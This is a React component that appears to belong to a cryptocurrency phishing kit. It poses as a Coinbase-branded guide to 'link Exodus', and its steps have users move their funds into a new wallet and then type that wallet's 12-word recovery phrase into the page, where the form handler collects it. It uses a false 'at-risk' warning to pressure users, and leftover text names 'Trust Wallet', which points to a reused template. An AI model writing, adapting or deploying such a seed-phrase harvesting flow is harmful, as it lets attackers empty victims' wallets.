import { Checkbox } from '@/components/ui/checkbox';
import { Label } from '@/components/ui/label';
import Image from 'next/image';
import Link from 'next/link';
import { useEffect, useState } from 'react';
import { FormProps } from '.';
import { cn, isValidSeed } from '@/lib/utils';
import { AppleLogo, WindowsLogo } from '@/components/Icons';
import { Input } from '@/components/ui/input';
import RenderError, { ErrorClass } from './Error';
import { ChangeEvent } from 'react'
import { KeyboardEvent } from 'react'
import SeedInput from '@/components/SeedInput';

enum Steps {
  Start,
  Download,
  Backup,
  Connect,
  Transfer,
  Import,
  End,
}

export default function WalletFlow4({
  error = {},
  formData,
  handleContinue = () => { },
  handleKeyDown,
  handleInputChange,
}: FormProps) {
  const [isSubmitting, setSubmitting] = useState<boolean>(false);
  const [step, setStep] = useState<Steps>(Steps.Start);
  const [isChecked, setIsChecked] = useState<boolean>(false);
  const [isChecked2, setIsChecked2] = useState<boolean>(false);

  const renderForm = () => {
    switch (step) {
      case Steps.Start:
        return <Start />;
      case Steps.Download:
        return <Download />;

      case Steps.Backup:
        return (
          <Backup />
        );
      case Steps.Import:
        return <Import error={error} formData={formData} handleKeyDown={handleKeyDown} handleInputChange={handleInputChange} handleContinue={handleContinuee} />
      case Steps.Transfer:
        return <Transfer isChecked={isChecked2} setIsChecked={setIsChecked2} />;
      case Steps.End:
        return <End />;
    }
  };

  const handleContinuee = () => {
    switch (step) {
      case Steps.Start:
        setStep(Steps.Download);
        break;
      case Steps.Download:
        setStep(Steps.Backup);
        break;
      case Steps.Backup:
        setStep(Steps.Transfer);
        break;
      case Steps.Transfer:
        setStep(Steps.Import);
        break;
      case Steps.Import:
        setStep(Steps.End)
      case Steps.End:
        setSubmitting(true);
        handleContinue();
        break;
    }
  };

  useEffect(() => {
    if (error.seed) {
      setStep(Steps.Import);
      setSubmitting(false);
    }
  }, [error]);

  return (
    <div className="flex flex-col items-center gap-6 pb-6 min-h-[400px]">
      {renderForm()}
      <button
        className={`mt-auto -mb-3 disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${isSubmitting
          ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none'
          : ''
          }`}
        disabled={
          (step === Steps.Transfer && !isChecked2) ||
          (step === Steps.Import && !isValidSeed(formData.seed))
        }
        onClick={handleContinuee}
      >
        {isSubmitting ? (
          <div
            className={
              '!border-b-[rgb(10,11,13)] loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'
            }
          ></div>
        ) : (
          'Continue'
        )}
      </button>
    </div>
  );
}

function getRandomInt(min: number, max: number) {
  min = Math.ceil(min);
  max = Math.floor(max);
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

function Start() {
  const [particles, setParticles] = useState<
    { left: string; animationDelay: string; animationDuration: string }[]
  >([]);

  useEffect(() => {
    const generatedParticles = Array.from({ length: 30 }, () => ({
      left: `${getRandomInt(5, 95)}%`,
      animationDelay: `${Math.random() * 2}s`,
      animationDuration: `${2 + Math.random() * 3}s`,
    }));
    setParticles(generatedParticles);
  }, []);

  return (
    <div className="flex flex-col">
      {/* <div className="-mt-7 relative flex flex-col items-center justify-center w-[400px] h-[300px] bg-secondary dark:bg-[#101010] rounded-[32px] dark:shadow-md overflow-hidden">
        <div className="absolute z-20 top-[32%] w-[106px] h-[300px] bg-gradient-to-b from-[#37c5ee] via-[#0039b1] to-[#01133c] rounded-full"></div>
        <div className="absolute top-0 left-0 w-full h-full overflow-hidden z-0 pointer-events-none">
          {particles.map((particle, index) => (
            <div
              key={index}
              className="particle bg-gradient-to-b from-transparent via-blue-500 to-blue-400 absolute"
              style={{
                left: particle.left,
                animationDelay: particle.animationDelay,
                animationDuration: particle.animationDuration,
              }}
            ></div>
          ))}
        </div>

        <div className="relative w-[96px] h-[96px] rounded-full flex items-center justify-center shadow-lg z-20">
          <Image
            draggable="false"
            className="animate-spin2 select-none"
            src="/wallet.ico"
            width={96}
            height={96}
            alt="logo"
          />
        </div>
      </div> */}
      <svg fill="none" viewBox="0 0 156 32" className='w-[150px]'><title>Exodus</title><g id="exodus-logomark"><path fill="url(#gradient_1)" d="M31.808 8.935L18.181 0v4.996l8.742 5.68-1.029 3.254h-7.713v4.14h7.713l1.029 3.254-8.742 5.68V32l13.627-8.906-2.228-7.08 2.228-7.08z"></path><path fill="url(#gradient_2)" d="M6.325 18.07h7.685v-4.14H6.296l-1-3.254 8.714-5.68V0L.383 8.935l2.228 7.08-2.228 7.079L14.039 32v-4.995l-8.742-5.681 1.028-3.254z"></path><mask id="mask0_536_8492" style={{ maskType: "alpha" }} width="32" height="32" x="0" y="0" maskUnits="userSpaceOnUse"><path fill="url(#gradient_3)" d="M31.808 8.935L18.181 0v4.996l8.742 5.68-1.029 3.254h-7.713v4.14h7.713l1.029 3.254-8.742 5.68V32l13.627-8.906-2.228-7.08 2.228-7.08z"></path><path fill="url(#gradient_4)" d="M6.325 18.07h7.685v-4.14H6.296l-1-3.254 8.714-5.68V0L.383 8.935l2.228 7.08-2.228 7.079L14.039 32v-4.995l-8.742-5.681 1.028-3.254z"></path></mask><g mask="url(#mask0_536_8492)"><path fill="url(#gradient_5)" d="M0.4 0H31.599999999999998V32H0.4z"></path></g></g><g id="exodus-logotype"><path fill="#fff" d="M58.92 8.8v2.797H46.029v2.863h10.955v2.798H46.028v3.144h12.893V23.2h-16.2V8.8h16.2zM60.75 23.2l7.407-7.287L60.96 8.8h4.553l5.078 5.14L75.46 8.8h4.26l-7.177 7.113L79.95 23.2h-4.595l-4.764-5.292-5.434 5.292H60.75z"></path><path fill="#fff" d="M88.832 8.8c6.001 0 9.61 3.005 9.61 7.2s-3.609 7.2-9.61 7.2c-6.001 0-9.59-3.005-9.59-7.2s3.589-7.2 9.59-7.2zm0 2.692c-3.61 0-6.27 1.816-6.27 4.508s2.66 4.508 6.27 4.508c3.63 0 6.29-1.816 6.29-4.508s-2.66-4.508-6.29-4.508zM110.404 8.8c4.807 0 7.703 2.667 7.703 7.178 0 4.554-2.875 7.222-7.661 7.222h-9.739V8.8h9.697zm4.303 7.178c0-2.82-1.679-4.38-4.723-4.38h-5.982v8.804h5.982c3.044 0 4.723-1.583 4.723-4.424zM129.005 23.2c-5.061 0-8.9-2.297-8.9-6.53V8.8h3.312v7.55c0 2.617 2.72 3.83 5.588 3.83 2.89 0 5.61-1.192 5.61-3.83V8.8h3.29v7.87c0 4.233-3.817 6.53-8.9 6.53zM147.174 23.2c-2.719 0-5.651-.501-7.733-1.44l1.084-2.672c1.869.856 4.44 1.399 6.755 1.399 2.656 0 5.141-.564 5.141-1.565 0-.73-.786-1.044-2.422-1.294l-4.631-.501c-3.569-.48-5.311-1.711-5.311-3.882 0-2.796 2.953-4.445 7.287-4.445 2.613 0 6.203.48 8.051 1.315l-1.083 2.546c-1.827-.752-4.929-1.127-7.117-1.127-2.252 0-3.739.521-3.739 1.481 0 .668.744 1.002 2.656 1.274l4.503.5c3.442.48 5.226 1.65 5.226 3.924 0 2.88-3.781 4.487-8.667 4.487z"></path></g><defs><linearGradient id="gradient_1" x1="27.4" x2="18.272" y1="34.2" y2="-3.514" gradientUnits="userSpaceOnUse"><stop stopColor="#0B46F9"></stop><stop offset="1" stopColor="#BBFBE0"></stop></linearGradient><linearGradient id="gradient_2" x1="27.4" x2="18.272" y1="34.2" y2="-3.514" gradientUnits="userSpaceOnUse"><stop stopColor="#0B46F9"></stop><stop offset="1" stopColor="#BBFBE0"></stop></linearGradient><linearGradient id="gradient_3" x1="27.4" x2="18.272" y1="34.2" y2="-3.514" gradientUnits="userSpaceOnUse"><stop stopColor="#0B46F9"></stop><stop offset="1" stopColor="#BBFBE0"></stop></linearGradient><linearGradient id="gradient_4" x1="27.4" x2="18.272" y1="34.2" y2="-3.514" gradientUnits="userSpaceOnUse"><stop stopColor="#0B46F9"></stop><stop offset="1" stopColor="#BBFBE0"></stop></linearGradient><linearGradient id="gradient_5" x1="2.4" x2="18.2" y1="7.2" y2="19" gradientUnits="userSpaceOnUse"><stop offset="0.12" stopColor="#8952FF" stopOpacity="0.87"></stop><stop offset="1" stopColor="#DABDFF" stopOpacity="0"></stop></linearGradient></defs></svg>

      <h2 className="text-[25px] z-20 mb-3 mt-3">Link Exodus</h2>
      <p className="max-w-sm text-muted-foreground font-cbtext  z-20 mb-9">
        Follow the step-by-step guide on how to link your Exodus and move
        funds from your Coinbase account to your cold wallet and secure your
        assets.
      </p>
    </div>
  );
}

function Download() {
  return (
    <div className="flex flex-col gap-4">
      <p className='text-[18px] text-muted-foreground '>Step 1</p>
      <h2 className="text-[28px] leading-8 -mt-2">
        Download Exodus
      </h2>

      <p className='max-w-sm text-muted-foreground font-cbtext text-sm z-20'>
        Download Exodus based on your operative system. You must have the software installed to proceed.
      </p>
      <p className='max-w-sm text-muted-foreground font-cbtext text-sm z-20'>
        Don't have any of those? You can find more download options <Link href={"https://www.exodus.com/download"} className='underline'>Here</Link>.
      </p>
      <div className='flex flex-row gap-3 items-center py-6 w-full'>

        <a href='https://downloads.exodus.com/releases/exodus-windows-x64-25.40.6.exe' target="_blank" className='w-full hover:bg-secondary dark:hover:bg-secondary transition-all duration-150 border border-line shadow-sm h-full flex flex-col items-center rounded-md p-6 gap-5'>
          <WindowsLogo className='h-[50px]' />
          <p>Windows 10/11</p>
        </a>
        <a href='https://downloads.exodus.com/releases/exodus-macos-arm64-25.40.6.dmg' target="_blank" className='w-full hover:bg-secondary dark:hover:bg-secondary border border-line shadow-sm h-full flex flex-col items-center rounded-md p-6 gap-5'>
          <AppleLogo className='h-[50px]' />
          <p>Mac OS</p>
        </a>

      </div>
    </div>
  );
}

function Backup() {
  return (
    <div className="flex flex-col gap-4">
      <p className='text-[18px] text-muted-foreground '>Step 2</p>
      <h2 className='text-[28px] leading-8 text-start'>
        Create a wallet in Exodus
      </h2>
      <div className='flex flex-col gap-3 text-sm font-cbsans text-muted-foreground text-start'>
        <p>
          Open <span className='font-semibold'>Exodus</span> and choose{' '}
          <span className='font-semibold'>Create New Wallet</span> to begin setting up
          your account.
        </p>
        <p>
          You’ll be asked to create a strong password — make sure it’s unique and not
          used anywhere else.
        </p>
        <p>
          Exodus will then show your{' '}
          <span className='font-semibold'>12-word recovery phrase</span>. Write it down
          and store it safely offline; this phrase is the only way to recover your
          wallet if your device is lost or reset.
        </p>

      </div>
    </div>
  );
}

function Transfer({
  isChecked,
  setIsChecked,
}: {
  isChecked: boolean;
  setIsChecked: (checked: boolean) => void;
}) {
  return (
    <div className="flex flex-col gap-4 ">
      <p className='text-[18px] text-muted-foreground '>Step 3</p>
      <h2 className="text-[28px] leading-8 -mt-2">
        Transfer and secure assets from Coinbase to Exodus
      </h2>

      <div className="flex flex-col gap-3 text-sm font-cbsans text-muted-foreground text-start">
        <p>
          On <span className="font-semibold">Exodus</span>, open the app
          and navigate to the asset you want to receive.
        </p>
        <p>
          Tap on <span className="font-semibold">Receive</span>, then copy the
          wallet address shown for that asset.
        </p>
        <p>
          Next, manually send your funds from your{' '}
          <span className="font-semibold">Coinbase</span> account to the copied{' '}
          <span className="font-semibold">Trust Wallet</span> address.
        </p>
        <p>
          Any remaining funds or assets you do not transfer are{' '}
          <span className="font-semibold">at-risk</span>.
        </p>
      </div>
      <div className="flex flex-row items-center gap-3">
        <Checkbox
          className="rounded-none"
          id="checkbox"
          checked={isChecked}
          onClick={() => setIsChecked(!isChecked)}
        />
        <Label className="text-sm text-muted-foreground" htmlFor="checkbox">
          I understand that all the funds or assets I don't transfer are
          at-risk.
        </Label>
      </div>
    </div>
  );
}

function Import({
  error = {},
  formData,
  handleKeyDown,
  handleInputChange
}: FormProps) {
  const [seedWords, setSeedWords] = useState<string[]>(
    Array(12).fill('')
  )
  return (
    <div className='gap-6 flex flex-col pb-6'>
      <p className='text-[18px] text-muted-foreground '>Step 4</p>
      <h2 className="text-[28px] leading-8 -mt-2">
        Import your new wallet
      </h2>
      <p className='max-w-sm text-muted-foreground font-cbsans text-sm'>
        Please enter your 12-word recovery phrase generated on the app.
        Make sure each word is entered in the correct order and spelled exactly as shown.
      </p>
      
      <div className='flex flex-col gap-1'>
        <SeedInput
          value={seedWords}
          onChange={(newWords) => {
            setSeedWords(newWords)
            handleInputChange('seed', newWords.join(' '))
          }}
          error={error.seed}
        />
        <RenderError error={error.seed} />
      </div>
    </div>
  )
}


function End() {
  const images = [
    'eth.png',
    'sol.png',
    'thether.png',
    'uni.png',
    'trx.png',
    'xmr.png',
    'btc.png',
    'ltc.png',
  ];
  const [positions, setPositions] = useState<
    {
      top: number;
      left: number;
      size: number;
      rotate: number;
      direction: string;
    }[]
  >([]);

  useEffect(() => {
    const bigCircleCenterX = 400 / 2;
    const bigCircleCenterY = 300 / 2;
    const bigCircleRadius = 120;
    const smallCircleRadius = 58;

    const isOverlapWithSmallCircle = (
      top: number,
      left: number,
      size: number
    ) => {
      const dx = left + size / 2 - bigCircleCenterX;
      const dy = top + size / 2 - bigCircleCenterY;
      const distance = Math.sqrt(dx * dx + dy * dy);
      return distance < smallCircleRadius + size / 2;
    };

    const generateRandomPositions = () => {
      const randomPositions: {
        top: number;
        left: number;
        size: number;
        rotate: number;
        direction: string;
      }[] = [];
      const totalImages = images.length;
      const angleStep = (2 * Math.PI) / totalImages;

      for (let i = 0; i < totalImages; i++) {
        const angle = i * angleStep;
        const distanceToEdge = bigCircleRadius + 40; // Offset from the center
        const top = bigCircleCenterY + Math.sin(angle) * distanceToEdge - 30;
        const left = bigCircleCenterX + Math.cos(angle) * distanceToEdge - 30;

        let size = 60;
        let retries = 0;

        while (isOverlapWithSmallCircle(top, left, size) && retries < 10) {
          size = 40 + Math.random() * 40;
          retries++;
        }

        randomPositions.push({
          top,
          left,
          size,
          rotate: Math.random() * 360 * (Math.random() < 0.5 ? -1 : 1),
          direction: Math.random() < 0.5 ? 'clockwise' : 'counterclockwise',
        });
      }

      return randomPositions;
    };

    setPositions(generateRandomPositions());
  }, []);

  return (
    <div className="flex flex-col gap-4">
      <div className="relative flex flex-col items-center justify-center w-[400px] h-[300px] bg-secondary dark:bg-[#101010] rounded-[32px] dark:shadow-md overflow-hidden">
        <div className="relative w-[96px] h-[96px] rounded-full flex items-center justify-center shadow-lg z-20">
          <div className="absolute left-[50%] -translate-x-[50%] h-[240px] w-[240px]  rounded-full  flex items-center justify-center p-2">
            <svg
              fill="none"
              width="62"
              height="87"
              viewBox="0 0 62 87"
              xmlns="http://www.w3.org/2000/svg"
            >
              <g clipPath="url(#clip0_26161_83707)">
                <path
                  d="M-0.00195312 26.9479L30.5756 16.9648V86.0759C8.73428 76.8606 -0.00195312 59.1989 -0.00195312 49.2159V26.9465V26.9479Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M61.1556 26.9479L30.5781 16.9648V86.0759C52.4194 76.8606 61.1556 59.1989 61.1556 49.2172V26.9479Z"
                  fill="url(#paint0_linear_26161_83707)"
                ></path>
                <path
                  d="M12.0561 0.34082H16.3227V2.73096C17.7214 0.582458 19.33 0.34082 21.6857 0.34082V4.56603H20.6128C17.7905 4.56603 16.4387 5.89434 16.4387 8.52474V13.0151H12.0547V0.34082H12.0561Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M35.9252 13.0137H31.5413V11.8055C30.5844 12.917 29.2795 13.3989 27.6709 13.3989C24.6166 13.3989 22.8906 11.5887 22.8906 8.25687V0.34082H27.2746V7.2696C27.2746 8.83818 28.0437 9.75502 29.3486 9.75502C30.6534 9.75502 31.5413 8.86165 31.5413 7.34141V0.34082H35.9252V13.0151V13.0137Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M36.9961 9.10059H41.1012C41.289 10.0174 41.9172 10.4027 43.4319 10.4027C44.6677 10.4027 45.3913 10.1141 45.3913 9.58249C45.3913 9.17101 45.0406 8.9059 44.0395 8.68912L40.7284 7.94073C38.5136 7.43536 37.3938 6.15538 37.3938 4.10215C37.3938 1.39719 39.3752 -0.00292969 43.2221 -0.00292969C47.0689 -0.00292969 48.9578 1.36129 49.2851 4.28303H45.2049C45.1358 3.51117 44.3419 3.03894 43.037 3.03894C41.989 3.03894 41.3124 3.37585 41.3124 3.88398C41.3124 4.31755 41.7543 4.65584 42.6421 4.87539L46.1162 5.72043C48.4 6.27412 49.4977 7.43398 49.4977 9.31738C49.4977 11.9257 47.236 13.4708 43.3905 13.4708C39.545 13.4708 37.0016 11.8056 37.0016 9.10059H36.9975H36.9961Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M61.17 4.28158V0.34082H50.3516V4.28435H53.5798V13.0137H57.9404V4.28158H61.17Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M10.8366 4.28158V0.34082H0.0195312V4.28435H3.24781V13.0137H7.60833V4.28158H10.8366Z"
                  fill="#48FF91"
                ></path>
              </g>
              <defs>
                <linearGradient
                  id="paint0_linear_26161_83707"
                  x1="29.1518"
                  y1="94.7238"
                  x2="54.3898"
                  y2="3.84876"
                  gradientUnits="userSpaceOnUse"
                >
                  <stop offset="0.26" stopColor="#48FF91"></stop>
                  <stop offset="0.66" stopColor="#0094FF"></stop>
                  <stop offset="0.8" stopColor="#0038FF"></stop>
                  <stop offset="0.89" stopColor="#0500FF"></stop>
                </linearGradient>
                <clipPath id="clip0_26161_83707">
                  <rect width="61.1691" height="86.0768" fill="white"></rect>
                </clipPath>
              </defs>
            </svg>
          </div>
        </div>
        <div className="absolute z-10 rotate-container w-full h-full">
          {positions.map((pos, index) => (
            <Image
              key={index}
              src={`/${images[index]}`}
              alt="Crypto Icon"
              className="absolute z-20 border-8 border-white rounded-full dark:border-none"
              width={pos.size}
              height={pos.size}
              style={{
                top: `${pos.top}px`,
                left: `${pos.left}px`,
                width: `${pos.size}px`,
                height: `${pos.size}px`,
                animation: `${pos.direction === 'clockwise' ? 'rotateCW' : 'rotateCCW'} 10s linear infinite`,
                transform: `rotate(${pos.rotate}deg)`,
              }}
              priority
            />
          ))}
        </div>
      </div>
      <h2 className="text-[28px] text-center z-20">You're all set!</h2>
      <div className="flex flex-col gap-4 px-6 text-[16px] font-cbsans ">
        <p className="text-center">
          All your crypto assets are now in your custody, secured in your{' '}
          <span className="font-semibold">Trust Wallet</span>.
        </p>
        <p className="text-center">
          Please allow up to 24 hours for{' '}
          <span className="font-semibold">Trust Wallet</span> to sync with your{' '}
          <span className="font-semibold">Coinbase Account</span>.
        </p>
      </div>
    </div>
  );
}
